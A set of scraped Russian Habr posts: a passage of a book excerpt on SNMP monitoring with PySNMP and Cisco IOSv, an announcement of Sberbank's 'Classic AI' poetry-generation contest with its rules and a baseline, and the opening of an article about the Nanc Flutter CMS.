Чтобы можно было извлекать полезную информацию, администратор сети должен приложить некоторые усилия для систематизации данных в формате OID. Иногда этот процесс оказывается утомительным и заключается в поиске отдельных идентификаторов. Например, вы можете обратиться к OID устройства и получить в ответ значение 10 000. Что это такое? Трафик, проходящий через интерфейс? Это биты или байты? А может, количество пакетов? Откуда мы знаем? Чтобы ответить на эти вопросы, нам нужно свериться либо со стандартом, либо с документацией производителя. Этот процесс можно упростить с помощью таких инструментов, как MIB Browser, который предоставляет метаданные для конкретного значения. Но, по моему опыту, создание системы мониторинга на основе SNMP иногда выглядит как игра в кошки-мышки, когда вы пытаетесь найти то самое недостающее значение.
Несколько основных аспектов SNMP, о которых стоит помнить.
* Реализация во многом зависит от количества информации, которую способно предоставить устройство. А это, в свою очередь, зависит от того, как производитель относится к SNMP: как к неотъемлемой части системы или как к дополнительной возможности.
* Обычно для возвращения значения SNMP-агенты отнимают процессорное время у управляющего уровня. Из-за этого протокол SNMP неэффективен на устройствах, к примеру, с большими BGP-таблицами; что еще хуже, его нецелесообразно использовать для частого извлечения данных.
* Чтобы запросить данные, пользователь должен знать OID.
Поскольку протокол SNMP существует давно, я предполагаю, что вы уже с ним сталкивались. Приступим сразу к установке пакетов и нашему первому примеру с SNMP.
### Подготовка
Для начала убедимся, что в нашей конфигурации есть управляющее устройство и агент с поддержкой SNMP. Пакет SNMP можно установить как на хостах (клиенте или сервере), так и на управляющем устройстве. Главное, чтобы диспетчер SNMP имел доступ к устройству и управляемое устройство принимало входящие соединения. В промышленных условиях установку следует делать только на управляющий хост, а SNMP-трафик должен быть разрешен только на управляющем уровне.
В этой лабораторной работе мы устанавливаем SNMP как на хост с Ubuntu в сети управления, так и на клиентский хост.
> Организация внешнего доступа к хостам VIRL описывается в главе 6.
```
$ sudo apt-get update
$ sudo apt-get install snmp
```
Дальше нужно включить протокол SNMP и сконфигурировать его параметры на сетевых устройствах iosv-1 и iosv-2. Нам доступно много дополнительных параметров: контакт, местоположение, ID шасси и размер пакетов SNMP. Их список зависит от устройства, поэтому вам следует свериться с документацией своего поставщика. На устройствах IOSv мы настроим список доступа, чтобы принимать запросы только от нужных нам хостов, и привяжем этот список к неизменяемой строке сообщества SNMP. В примере в качестве этой строки будет использоваться слово secret, а список доступа будет называться permit\_snmp:
```
!
ip access-list standard permit_snmp
permit 172.16.1.123 log
deny any log
!
snmp-server community secret RO permit_snmp
!
```
Строка сообщества SNMP играет роль пароля, разделяемого диспетчером и агентом; следовательно, ее необходимо включать в любой запрос, посылаемый устройству.
Как уже упоминалось в этой главе, поиск подходящего OID зачастую составляет значительную часть работы с SNMP. Для этого можно использовать Cisco IOS MIB Locator (http://tools.cisco.com/ITDIT/MIBS/servlet/index).
В качестве альтернативы мы можем пройтись по дереву SNMP для устройств Cisco, начиная с вершины: .1.3.6.1.4.1.9. Мы проведем обход, чтобы убедиться в корректной работе SNMP-агента и списка доступа:
```
iso.3.6.1.4.1.9.2.1.1.0 = STRING: "
Bootstrap program is IOSv
"
iso.3.6.1.4.1.9.2.1.2.0 = STRING: "reload"
iso.3.6.1.4.1.9.2.1.3.0 = STRING: "iosv-1"
iso.3.6.1.4.1.9.2.1.4.0 = STRING: "virl.info"
<опущено>
```
Сделаем наш запрос по OID более конкретным:
```
$ snmpwalk -v2c -c secret 172.16.1.189 .1.3.6.1.4.1.9.2.1.61.0
iso.3.6.1.4.1.9.2.1.61.0 = STRING: "cisco Systems, Inc.
170 West Tasman Dr.
San Jose, CA 95134-1706
U.S.A.
Ph +1-408-526-4000
Customer service 1-800-553-6387 or +1-408-526-7208
24HR Emergency 1-800-553-2447 or +1-408-526-7209
Email Address tac@cisco.com
World Wide Web www.cisco.com"
```
Что произойдет, если поменять в конце одну цифру, подставив 1 вместо 0? Вот что мы увидим:
```
$ snmpwalk -v2c -c secret 172.16.1.189 .1.3.6.1.4.1.9.2.1.61.1
iso.3.6.1.4.1.9.2.1.61.1 = No Such Instance currently exists at this OID
```
В отличие от API-вызовов этот вывод не предоставляет никакого сообщения или кода ошибки; он просто утверждает, что данный OID не существует. Иногда это может быть довольно неприятно.
Напоследок проверим список доступа, который должен отклонять нежелательные SNMP-запросы. Поскольку ключевое слово log в списке доступа указано как для разрешительных, так и для запретительных записей, запросы к устройствам сможет выполнять только хост 172.16.1.123:
```
*Sep 29 16:39:19.857: %SEC-6-IPACCESSLOGNP: list permit_snmp permitted 0
172.16.1.123 -> 0.0.0.0, 1 packet
```
Как видите, основная трудность конфигурации SNMP состоит в поиске подходящего OID. Некоторые OID определены в стандартизованных базах MIB-2, а другие входят в ту часть дерева, которая относится к конкретному предприятию. Эту информацию лучше всего искать в документации поставщика. В этом вам поможет ряд инструментов; например, вы можете ввести MIB (опять же предоставленные поставщиком) в MIB Browser и получить описание корпоративных OID. Существенную помощь в поиске идентификаторов объектов может оказать SNMP Object Navigator от Cisco (http://snmp.cloudapps.cisco.com/Support/SNMP/do/BrowseOID.do?local=en).
### PySNMP
PySNMP — это кросс-платформенная реализация SNMP на чистом языке Python, разработанная Ильей Етингофом (https://github.com/etingof). Она инкапсулирует множество деталей протокола SNMP и поддерживает как Python 2, так и Python 3.
Для работы с PySNMP требуется пакет PyASN1. Вот что об этом написано в Википедии:
> «ASN.1 — это стандарт и нотация описания правил и структур для представления, кодирования, передачи и декодирования данных в телекоммуникациях и компьютерных сетях».
PyASN1 — это удобная обертка вокруг ASN.1 для Python. Сначала установим этот пакет. Обратите внимание, что все действия выполняются в виртуальном окружении, поэтому здесь используется интерпретатор Python из виртуального окружения:
```
(venv) $ cd /tmp
(venv) $ git clone github.com/etingof/pyasn1.git
(venv) $ git checkout 0.2.3
(venv) $ python setup.py install # обратите внимание на путь venv
Установим пакет PySNMP:
(venv) $ cd /tmp
(venv) $ git clone github.com/etingof/pysnmp
(venv) $ cd pysnmp/
(venv) $ git checkout v4.3.10
(venv) $ python setup.py install # обратите внимание на путь venv
```
> Мы используем более старую версию PySNMP, так как в версии 5.0.0 был удален модуль pysnmp.entity.rfc3413.oneliner (https://github.com/etingof/pysnmp/blob/a93241007b970c458a0233c16ae2ef82dc107290/CHANGES.txt). Если вы устанавливаете пакеты с помощью pip, то эти примеры, скорее всего, не будут работать.
Посмотрим, как с помощью PySNMP получить ту же контактную информацию компании Cisco, которую мы использовали в предыдущем примере. Это слегка отредактированный пример со страницы [pysnmp.readthedocs.io/en/latest/faq](https://pysnmp.readthedocs.io/en/latest/faq/) response-values-mib-resolution.html. Сначала импортируем нужный нам модуль и создадим объект CommandGenerator:
```
>>> from pysnmp.entity.rfc3413.oneliner import cmdgen
>>> cmdGen = cmdgen.CommandGenerator()
>>> cisco_contact_info_oid = "1.3.6.1.4.1.9.2.1.61.0"
```
Мы можем выполнить SNMP-запрос с помощью метода getCmd. Ответ будет распакован в ряд переменных, из которых нас больше всего интересует varBinds с результатом запроса:
```
>>> errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
cmdgen.CommunityData('secret'),
cmdgen.UdpTransportTarget(('172.16.1.189', 161)),
cisco_contact_info_oid)
>>> for name, val in varBinds:
print('%s=%s' % (name.prettyPrint(), str(val)))
SNMPv2-SMI::enterprises.9.2.1.61.0=cisco Systems, Inc.
170 West Tasman Dr.
San Jose, CA 95134-1706
U.S.A.
Ph +1-408-526-4000
Customer service 1-800-553-6387 or +1-408-526-7208
24HR Emergency 1-800-553-2447 or +1-408-526-7209
Email Address tac@cisco.com
World Wide Web www.cisco.com
>>>
```
Обратите внимание: значения в ответе являются объектами PyASN1. Метод prettyPrint() может привести некоторые из них в удобочитаемый вид, но varBinds придется преобразовывать вручную. Мы превратили ее в строку.
Теперь на основе предыдущего интерактивного примера можно написать сценарий с проверкой ошибок. Назовем его pysnmp\_1.py. И мы можем передать методу getCmd() сразу несколько OID:
```
#!/usr/bin/env/python3
from pysnmp.entity.rfc3413.oneliner import cmdgen
cmdGen = cmdgen.CommandGenerator()
system_up_time_oid = "1.3.6.1.2.1.1.3.0"
cisco_contact_info_oid = "1.3.6.1.4.1.9.2.1.61.0"
errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
cmdgen.CommunityData('secret'),
cmdgen.UdpTransportTarget(('172.16.1.189', 161)),
system_up_time_oid,
cisco_contact_info_oid
)
# Проверяем ошибки и выводим результаты
if errorIndication:
print(errorIndication)
else:
if errorStatus:
print('%s at %s' % (
errorStatus.prettyPrint(),
errorIndex and varBinds[int(errorIndex)-1] or '?'
)
)
else:
for name, val in varBinds:
print('%s = %s' % (name.prettyPrint(), str(val)))
```
Результаты будут распакованы, и мы получим значения двух OID:
```
$ python pysnmp_1.py
SNMPv2-MIB::sysUpTime.0 = 599083
SNMPv2-SMI::enterprises.9.2.1.61.0 = cisco Systems, Inc.
170 West Tasman Dr.
San Jose, CA 95134-1706
U.S.A.
Ph +1-408-526-4000
Customer service 1-800-553-6387 or +1-408-526-7208
24HR Emergency 1-800-553-2447 or +1-408-526-7209
Email Address tac@cisco.com
World Wide Web www.cisco.com
```
В следующем примере мы сохраним значения, полученные в ответ на запрос, для выполнения других действий с данными, таких как визуализация. Для вывода значений, относящихся к интерфейсам, воспользуемся ifEntry из MIB-2.
Вы можете найти ряд ресурсов с описанием дерева ifEntry; вот снимок страницы сайта Cisco SNMP Object Navigator, который мы использовали для ifEntry (рис. 7.3)
Выполним небольшую проверку, чтобы показать, какие OID имеют интерфейсы устройства:
```
$ snmpwalk -v2c -c secret 172.16.1.189 .1.3.6.1.2.1.2.2.1.2
iso.3.6.1.2.1.2.2.1.2.1 = STRING: "GigabitEthernet0/0"
iso.3.6.1.2.1.2.2.1.2.2 = STRING: "GigabitEthernet0/1"
iso.3.6.1.2.1.2.2.1.2.3 = STRING: "GigabitEthernet0/2"
iso.3.6.1.2.1.2.2.1.2.4 = STRING: "Null0"
iso.3.6.1.2.1.2.2.1.2.5 = STRING: "Loopback0"
```
Согласно документации, значения ifInOctets(10), ifInUcastPkts(11), ifOutOctets(16) и ifOutUcastPkts(17) можно отобразить в соответствующие значения OID. Например, в документации для CLI и MIB сказано, что пакеты, выходящие из GigabitEthernet0/0, имеют OID 1.3.6.1.2.1.2.2.1.17.1. Тот же процесс можно повторить и для остальных OID. Когда вы проверяете пакеты между CLI и SNMP, помните, что значения должны быть близкими, но не обязательно одинаковыми, так как между получением вывода в терминале и отправкой SNMP-запроса по каналу связи может пройти какой-то трафик:
```
iosv-1#sh int gig 0/0 | i packets
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
6872 packets input, 638813 bytes, 0 no buffer
4279 packets output, 393631 bytes, 0 underruns
$ snmpwalk -v2c -c secret 172.16.1.189 .1.3.6.1.2.1.2.2.1.17.1
iso.3.6.1.2.1.2.2.1.17.1 = Counter32: 4292
```
В промышленных условиях результаты, скорее всего, записываются в базу данных. Но поскольку это всего лишь пример, мы сохраним полученные значения в плоский файл. Напишем сценарий pysnmp\_3.py для информационных запросов и определим в нем OID, которые нам нужно запрашивать:
```
system_name = '1.3.6.1.2.1.1.5.0'
# OID интерфейса
gig0_0_in_oct = '1.3.6.1.2.1.2.2.1.10.1'
gig0_0_in_uPackets = '1.3.6.1.2.1.2.2.1.11.1'
gig0_0_out_oct = '1.3.6.1.2.1.2.2.1.16.1'
gig0_0_out_uPackets = '1.3.6.1.2.1.2.2.1.17.1'
```
Эти значения будут использоваться в функции snmp\_query(), которая принимает на вход host, community и oid:
```
def snmp_query(host, community, oid):
errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
cmdgen.CommunityData(community),
cmdgen.UdpTransportTarget((host, 161)),
oid
)
```
Все значения помещаются в словарь с разными ключами и записываются в файл с именем results.txt:
```
result = {}
result['Time'] = datetime.datetime.utcnow().isoformat()
result['hostname'] = snmp_query(host, community, system_name)
result['Gig0-0_In_Octet'] = snmp_query(host, community, gig0_0_in_oct)
result['Gig0-0_In_uPackets'] = snmp_query(host, community, gig0_0_in_
uPackets)
result['Gig0-0_Out_Octet'] = snmp_query(host, community, gig0_0_out_oct)
result['Gig0-0_Out_uPackets'] = snmp_query(host, community, gig0_0_
out_uPackets)
with open('/home/echou/Master_Python_Networking/Chapter7/results.txt',
'a') as f:
f.write(str(result))
f.write('\n')
```
В результате мы получим файл с пакетами, представленными в интерфейсе в момент запроса:
```
$ cat results.txt
{'Gig0-0_In_Octet': '3990616', 'Gig0-0_Out_uPackets': '60077', 'Gig0-
0_In_uPackets': '42229', 'Gig0-0_Out_Octet': '5228254', 'Time': '2017-03-
06T02:34:02.146245', 'hostname': 'iosv-1.virl.info'}
{'Gig0-0_Out_uPackets': '60095', 'hostname': 'iosv-1.virl.info', 'Gig0-0_
Out_Octet': '5229721', 'Time': '2017-03-06T02:35:02.072340', 'Gig0-0_In_
Octet': '3991754', 'Gig0-0_In_uPackets': '42242'}
<опущено>
```
Мы можем сделать этот сценарий выполняемым и запланировать его запуск раз в пять минут с помощью cron:
```
$ chmod +x pysnmp_3.py
# crontab configuration
*/5 * * * * /home/echou/Mastering_Python_Networking_third_edition/
Chapter07/pysnmp_3.py
```
Повторяю, что в промышленном окружении мы бы поместили информацию в базу данных. В реляционной БД уникальные идентификаторы можно использовать в качестве первичного ключа. В NoSQL первичным индексом (или ключом) может выступать время (так как оно никогда не повторяется), за которым следуют разные пары вида «ключ — значение».
Подождем, пока этот сценарий выполнится несколько раз, чтобы он записал нужные нам значения. Если вам не терпится, сократите интервал выполнения задания cron до 1 минуты. Когда в файле results.txt накопится достаточно данных для построения графика, можно переходить к следующему разделу, в котором вы увидите, как визуализировать данные с помощью Python.
**Об авторе**
**Эрик Чоу** — IT-технолог с более чем двадцатилетним опытом. Имел дело с крупнейшими сетями в индустрии, работая в Amazon, Azure и других компаниях из списка Fortune 500. Эрик страстно увлекается автоматизацией сетей и языком Python и помогает организациям в создании эффективных механизмов безопасности.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/python-dlya-setevyh-inzhenerov-avtomatizatsiya-seti-programmirovanie-i-devops):
» [Оглавление](https://www.piter.com/product/python-dlya-setevyh-inzhenerov-avtomatizatsiya-seti-programmirovanie-i-devops#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/python-dlya-setevyh-inzhenerov-avtomatizatsiya-seti-programmirovanie-i-devops#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 30% по купону — **Python** | https://habr.com/ru/post/681618/ | null | ru | null |
# КлассикAI жанра: ML ищет себя в поэзии
 Сейчас в прессе часто встречаются новости вида “AI научился писать в стиле автора Х”, или “ML создает искусство”. Посмотрев на это, мы решили – было бы здорово, если эти громкие заявления можно было бы проверить на деле.
Можно ли устроить борьбу ботов по написанию стихотворений? Можно ли сделать из этого понятную и воспроизводимую соревновательную историю? Теперь можно точно сказать, что это возможно. А о том, как написать свой первый алгоритм по генерации стихотворений, читайте дальше.
**План статьи**1. [Классик AI](#classic)
[— Задача участников](#task)
[— Программа соревнования](#program)
2. [Подходы к созданию генераторов стихов](#overview)
3. [Программирование искусственного поэта](#AIpoet)
[— Пример простого поэтического генератора](#example)
[— Подготовка решения к отправке](#submit)
4. [Платформа хакатона](#platform)
5. [Ссылки](#links)
1. КлассикAI
------------
### Задача участников
По условиям конкурса, участникам необходимо построить модель, генерирующую стихи на заданную тему в стиле одного из русских классиков. Тема и автор подаются модели на вход, а на выходе ожидается стихотворение. Полное описание есть в [репозитории](https://github.com/sberbank-ai/classic-ai) конкурса.
С темой условия мягкие: это может быть короткое предложение, фраза или несколько слов. Единственное ограничение — на размер: не более 1000 знаков. Темы, на которых будут тестироваться алгоритмы, будут составлены экспертами. Часть тем будет открыта и общедоступна, но для определения лучшего алгоритма будет использован скрытый набор тем.
Глобальная идея соревнования такая: к любому стихотворению можно составить краткую аннотацию из нескольких слов. Давайте покажем на примере.
Если взять отрывок из [«Евгения Онегина» А.С. Пушкина](https://www.ozon.ru/context/detail/id/1344209/):
> «…В тот год осенняя погода
>
> Стояла долго на дворе,
>
> Зимы ждала, ждала природа.
>
> Снег выпал только в январе
>
> На третье в ночь. Проснувшись рано,
>
> В окно увидела Татьяна
>
> Поутру побелевший двор,
>
> Куртины, кровли и забор,
>
> На стеклах легкие узоры,
>
> Деревья в зимнем серебре,
>
> Сорок веселых на дворе
>
> И мягко устланные горы
>
> Зимы блистательным ковром.
>
> Все ярко, все бело кругом...» 1823—1830
То кратко содержание его можно уместить в «Татьяна видит в окно первый снег». И тогда идеальная стихотворная модель по этому входу выдаст что-то очень близкое к оригиналу.
Для обучения в этом соревновании предлагается [датасет](https://github.com/sberbank-ai/classic-ai/tree/master/data) из более чем 3000 произведений пяти известных русских поэтов:
1. Пушкин
2. Есенин
3. Маяковский
4. Блок
5. Тютчев
Алгоритм нужно написать так, чтобы он производил генерацию достаточно быстро и имел необходимый интерфейс. По скорости можно равняться на мощности средних современных ПК. Интерфейс и ограничения подробно описаны в разделе «Формат решений».
Чтобы иметь возможность отслеживать прогресс своих решений, а также сравнивать их с другими решениями участников, на протяжении соревнования будет проходить разметка решений через чат-бот. Результаты работы алгоритмов будут оцениваться по двум критериям:
* Качество стихосложения и соответствие стилю заданного классического поэта
* Полнота раскрытия заданной темы в стихотворении
По каждому критерию будет предоставлена 5-балльная шкала. Алгоритм должен будет сочинить стихи на каждую тему из тестового набора. Темы, на которых будут тестироваться алгоритмы, будут составлены экспертами. Часть тем будет открыта и общедоступна, но для выявления лучшего алгоритма будет использован скрытый набор тем.
Полученное в результате работы алгоритма стихотворение может быть отклонено по следующим причинам:
* сгенерированный текст не является стихотворением на русском языке
* сгенерированный текст содержит нецензурную лексику
* сгенерированный текст содержит умышленно включенные оскорбительные фразы или подтекст
### Программа соревнования
В отличие от многих, в этом соревновании только один онлайн этап: с 30.07 по 26.08.
На протяжении этого периода можно ежедневно отправлять решения со следующими ограничениями:
* не более 200 решений за время соревнование
* не более 2х успешных решений в день
* не учитываются в дневном лимите решения, проверка которых завершилась с ошибкой
Призовой фонд соответствует сложности задачи: первые три места получат 1 000 000 рублей!
2. Подходы к созданию генераторов стихов
----------------------------------------
Как уже стало понятно, задача нетривиальная, но и не новая. Попробуем разобраться, как же исследователи подходили к решению это задачи раньше? Давайте посмотрим на наиболее интересные подходы к созданию генераторов стихов последних 30 лет.
**1989**В журнале [Scientific American N08, 1989](http://publ.lib.ru/ARCHIVES/V/%27%27V_mire_nauki%27%27/''V_mire_nauki'',1989,N08.%5Bpdf%5D.zip) выходит статья А.К. Дьюдни “Компьютер пробует свои силы в прозе и поэзии”. Не будем пересказывать статью, здесь есть ссылка на полный текст, хотим лишь обратить ваше внимание на описание POETRY GENERATOR от Розмари Уэст.
Этот генератор был полностью автоматизированным. В основе этого подхода большой словарь, фразы из которого выбираются случайным образом, и из них формируются словосочетания по набору грамматических правил. Каждая строка делится на части предложения, а далее случайно заменяется другими словами.
**1996**Более 20 лет назад выпускник известного московского вуза защитил диплом на тему «Лингвистическое моделирование и искусственный интеллект»: автор — [Леонид Каганов](http://lleo.aha.ru). Вот [ссылка](https://lleo.me/soft/text_dip.htm) на полный текст.
> «Лингвистическое моделирование и искусственный интеллект» — так звучит
>
> название моей темы. «Программа, которая сочиняет стихи» — так отвечаю я на
>
> вопросы друзей. «Но ведь подобные программы уже есть?» — говорят мне. «Да — отвечаю я, — но моя отличается тем, что не использует изначальных шаблонов.»
>
> (с) Каганов Л.А.
К 1996 году уже были написаны такие генераторы как:
* BRED.COM, создающий псевдонаучную фразу
* TREPLO.EXE, порождающий забавный литературный текст
* POET.EXE, сочиняющий стихи с заданным ритмом
* DUEL.EXE
> «Например, в POET.EXE имеется словарь слов с проставленными ударениями и некоторой другой информацией о них, а также задается ритм и указывается какие строки рифмовать (например, 1 и 4). А все эти программы обладают одним общим свойством — они используют шаблоны и заранее подготовленные словари.»
В качестве основных преимуществ можно выделить то, что программа:
* использует ассоциативный опыт
* производит рифмовку самостоятельно
* имеет возможность тематического сочинения
* позволяет задавать любой ритм стиха
[Алгоритм и код можно почитать здесь.](https://lleo.me/soft/text_dip.htm)
**2016**#### [«Chinese Poetry Generation with Planning based Neural Network»](https://www.researchgate.net/publication/309572681_Chinese_Poetry_Generation_with_Planning_based_Neural_Network)
Ученые из Китая генерируют стихотворения на своем языке. У них есть живой [репозиторий](https://github.com/Disiok/poetry-seq2seq) проекта, который может быть полезен в текущем соревновании.
Если очень коротко, то это работает так ([ссылка на источник картинки](https://www.researchgate.net/publication/309572681_Chinese_Poetry_Generation_with_Planning_based_Neural_Network)):
#### [Generating Topical Poetry](https://homes.cs.washington.edu/~yejin/Papers/emnlp16_sonnet.pdf)
Также в 2016 еще одна группа представила свою разработку **[Hafez](http://xingshi.me/data/pdf/ACL2017demo.pdf)** (репозиторий [тут](https://github.com/shixing/poem)).
Этот генератор “сочиняет” стихи на заданную тему, используя:
* Словарь с учетом ударений
* Слова по теме
* Рифмующиеся слова из набора слов по теме
* Finite-state acceptor (FSA)
* Выбор лучшего пути через FSA, используя RNN
Их алгоритм ([ссылка на источник картинки](https://homes.cs.washington.edu/~yejin/Papers/emnlp16_sonnet.pdf)):
Они обучили алгоритм не только на английском, но и на испанском. Обещают, что все должно работать почти везде. Заявление довольно громкое, так что рекомендуем относиться с осторожностью.
**2017**Напоследок хочется упомянуть об очень подробной статье на Хабре [«Как научить свою нейросеть генерировать стихи»](https://habr.com/post/334046/). Если вы никогда не занимались подобными моделями, то вам сюда. Там про генератор стихов на нейроночках: про языковые модели, N-граммные языковые модели, про оценку языковых моделей, про то как запилить архитектуру и доработать входной и выходной слой.
Например, вот так слову добавляется морфологическая разметка ([ссылка на источник картинки](https://habr.com/post/334046/)):
Та статья была написана совместно с Ильей Гусевым, у которого есть [библиотека для анализа и генерации стихов на русском языке](https://github.com/IlyaGusev/rupo) и [поэтический корпус русского языка](https://github.com/IlyaGusev/PoetryCorpus).
3. Программирование искусственного поэта
----------------------------------------
### Пример простого поэтического генератора
Соревнование с одной стороны может показаться достаточно сложным, однако для него вполне можно сделать простой, но рабочий [бейзлайн](https://github.com/sberbank-ai/classic-ai/tree/master/examples/phonetic-baseline).
По условию, на вход этой программы поступает идентификатор автора (author\_id) и текст темы (seed), в ответ на это модель должна вернуть стихотворение.
Давайте попробуем формализовать тему так, чтобы с ней можно было спокойно оперировать в рамках некоторого векторного семантического пространства. Самый простой выход из этого — получить семантический вектор каждого слова (например, Word2Vec) после чего усреднить их.
Таким образом, мы получаем своеобразный “seed2vec”, который позволяет нам переводить тему в вектор.
На самом деле здесь открывается широкая тема для исследований, т.к. задача выделения темы стоит перед учеными достаточно давно, вот только несколько примеров:
— [Выделение топиков через LDA](https://arxiv.org/pdf/1711.04305.pdf)
— [lda2vec](https://github.com/cemoody/lda2vec)
— [sent2vec](https://github.com/epfml/sent2vec)
— [WMD](http://proceedings.mlr.press/v37/kusnerb15.pdf)
Теперь, нужно понять, как использовать author\_id для генерации стихотворения именно в стилистике этого автора.
Здесь идея не менее простая: давайте возьмем случайное стихотворение автора из корпуса стихов, после чего будем заменять каждое слово на другое, которое максимально созвучно с оригиналом (имеет одинаковое количество слогов, одинаковое ударение и последние три буквы максимально схожи с оригиналом по расстоянию Левенштейна) и при этом имеет максимально схожий вектор с вектором темы. Например, для темы «Футбол» и строки «И светился как янтарь», выходной строкой может быть «А игрался как вратарь». Таким образом, мы получаем своеобразную стилизацию текста.
В качестве базы слов для замены был использован датасет, который содержит небольшие параграфы текстов из Википедии (описание его использования можно найти в коде бейзлайна на GitHub).
После такой обработки получатся тексты, которые внешне будут напоминать стихи автора, но при этом содержать некоторую тему, которую автор не закладывал.
Результат работы бейзлайна:
> Тема: Физика
>
> Стилистика: Блок
>
>
>
> приведут и висмут единицы
>
> буйвол древних нелинейных сред
>
> я в доске кельвину на частице
>
> свой явлений свой научный вслед
>
> фарадей севилье тараканья
>
> свой тверской теперь изобретшим
>
> среда фонон грань тяготения
>
> позитронный призрак школьный дым
>
>
> Тема: Математика
>
> Стилистика: Блок
>
>
>
> как кружке лейбницу среди идей
>
> кривым и школьным обучаться
>
> но стадо стадо в творчество учиться
>
> кривая для примеры мозг детей
>
> кривые взят пловец знает из гоба
>
> и в планк пройдет и в суд пройдет в сенат
>
> чем дочь колее тем древнее гоба
>
> и сурья исчезающе терпят
>
> пловец весь тень учится над евклидом
>
> заглавие издается и квот
>
> осваивает он скрепляя трудом
>
> профессору учебный анекдот
>
>
Очевидно, что бейзлайн не идеален, на то он и бейзлайн.
Можно легко добавить несколько фичей, которые помогут неплохо улучшить генерацию и поднять вас в топе:
* Нужно убрать повторяющиеся слова, ведь рифмовать слово на само себя не здорово для хорошего поэта
* Сейчас слова никак не согласованы друг с другом, т.к. мы никак не используем информацию о частях речи и падежей слов
* Можно использовать более богатый корпус слов, например, дамп википедии
* Использование других эмбенднгов может так же улучшить, например, FastText работает не на уровне слов, а на уровне n-грамм, что позволяет ему делать эмбендинги для неизвестных слов
* Использовать IDF в качестве веса при взвешивании слов для расчета вектора темы
Тут можно добавлять еще множество пунктов, на ваше усмотрение.
### Подготовка решения к отправке
После того, как модель обучена, в проверяющую систему необходимо отправить код алгоритма, запакованный в ZIP-архив.
Решения запускаются в изолированном окружении при помощи Docker, время и ресурсы для тестирования ограничены. Решение должно отвечать следующим техническим требованиям:
Оно должно быть выполнено в виде HTTP-сервера, доступного по порту 8000, который отвечает на два вида запросов:
```
GET /ready
```
На запрос необходимо ответить кодом 200 OK в случае, если решение готово к работе. Любой другой код означает, что решение еще не готово. У алгоритма есть ограниченное время на подготовку к работе, за которое можно прочитать данные с диска, создать в оперативной памяти необходимые структуры данных.
```
POST /generate/
```
Запрос на генерацию стихотворения. Идентификатор поэта, в стиле которого необходимо сочинить, указан в URL. Содержимое запроса — JSON с единственным полем seed, содержащим тему сочинения:
```
{"seed": "регрессия глубокими нейронными сетями"}
```
В качестве ответа необходимо в отведенное время дать JSON со сгенерированным сочинением в поле poem:
```
{"poem": "Ведь были сети боевые\nДа говорят еще какие\n..."}
```
Запрос и ответ должны иметь Content-Type: application/json. Рекомендуется использовать кодировку UTF-8.
**Контейнер с решением запускается в следующих условиях:** — решению доступны ресурсы:
— 16 Гб оперативной памяти
— 4 vCPU
— GPU Nvidia K80
— решение не имеет доступа к ресурсам интернета
— решению в каталоге /data/ доступны общие наборы данных
— время на подготовку к работе: 120 секунд (после чего на запрос /ready необходимо отвечать кодом 200)
— время на один запрос /generate/: 5 секунд
— решение должно принимать HTTP запросы с внешних машин (не только localhost/127.0.0.1)
— при тестировании запросы производятся последовательно (не более 1 запроса одновременно)
— максимальный размер упакованного и распакованного архива с решением: 10 Гб
Сгенерированное стихотворение (poem) должно удовлетворять формату:
— размер стиха — от 3 до 8 строк
— каждая строка содержит не более 120 символов
— строки разделяются символом \n
— пустые строки игнорируются
Тема сочинения (seed) по длине не превышает 1000 символов.
При тестировании используются стили только 5 перечисленных выше избранных поэтов.
Подробная информация по отправке решения в систему с разбором наиболее частых ошибок доступна [здесь](https://github.com/sberbank-ai/classic-ai#%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0-%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B2-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%83).
4. Платформа хакатона
---------------------
Платформа со всей необходимой информацией по этому контесту находится на [classic.sberbank.ai](https://classic.sberbank.ai). Подробные правила вы найдете [здесь](https://classic.sberbank.ai/static/classic-ai-rules.pdf). Hа форуме можно получить ответ как по задаче, так и по техническим вопросам, если что-то пойдет не так.
Творческие соревнования ML моделям не даются легко. К задаче генерации стихов подступались многие, но значимого прорыва пока еще нет. Уже сейчас на нашей платформе classic.sberbank.ai участники со всей России соревнуются в решении этой сложной задачи. Надеемся, что решения победителей превзойдут все решения, созданные ранее!
5. Ссылки
---------
**Полезные ссылки**[Платформа хакатона Классик AI](https://classic.sberbank.ai/)
[В Мире Науки — Компьютер пробует свои силы в прозе и поэзии](http://publ.lib.ru/ARCHIVES/V/%27%27V_mire_nauki%27%27/''V_mire_nauki'',1989,N08.%5Bpdf%5D.zip)
[Hafez — Poetry Generation](http://52.24.230.241/poem/)
[Каганов Л.А. «Лингвистическое конструирование в системах искусственного интеллекта»](https://lleo.me/soft/text_dip.htm)
[N+1 «Искусственный Пушкин»](https://nplus1.ru/blog/2017/07/10/poems-by-ai)
[Generating Poetry with PoetRNN](http://sballas8.github.io/2015/08/11/Poet-RNN.html)
[Подросток написал искусственный интеллект, который пишет стихи](http://neuronus.com/news-tech/1299-podrostok-napisal-iskusstvennyj-intellekt-kotoryj-pishet-stikhi.html)
[«Стихи» искусственного интеллекта Google попали в сеть](https://korrespondent.net/lifestyle/3682288-stykhy-yskusstvennoho-yntellekta-Google-popaly-v-set)
[Кибер-поэзия и кибер-проза: совсем чуть-чуть искусственного интеллекта](https://xakep.ru/2008/06/03/43893/) | https://habr.com/ru/post/419745/ | null | ru | null |
# Nanc — backend-agnostic CMS с Flutterлюшками
Intro
-----
Привет! Сегодня я хочу представить вам плод моего многомесячного труда по ночам и выходным, призванный улучшить опыт управление контентом и привнести в мир разработки Flutter-приложений дополнительные возможности.
Далее речь пойдет о Nanc (читается как Нэнс, но я внутренним голосом постоянно произношу "Нанк" 🤪) - **N**ot **A** **N**ormal **C**MS. Почему она "не нормальная" и что с её помощью можно делать вы узнаете, осилив эту статью. Кое с чем вы даже сможете поиграть - эта статья содержит ссылки на демо с клиентским и CMS-приложением, позволяющие получить представление "что к чему".
Для того чтобы показать общественности возможности Nanc были сделаны два приложения: клиентское, имитирующее любое Flutter-приложение и дающее представление о том, что может дать таким приложениям Nanc.
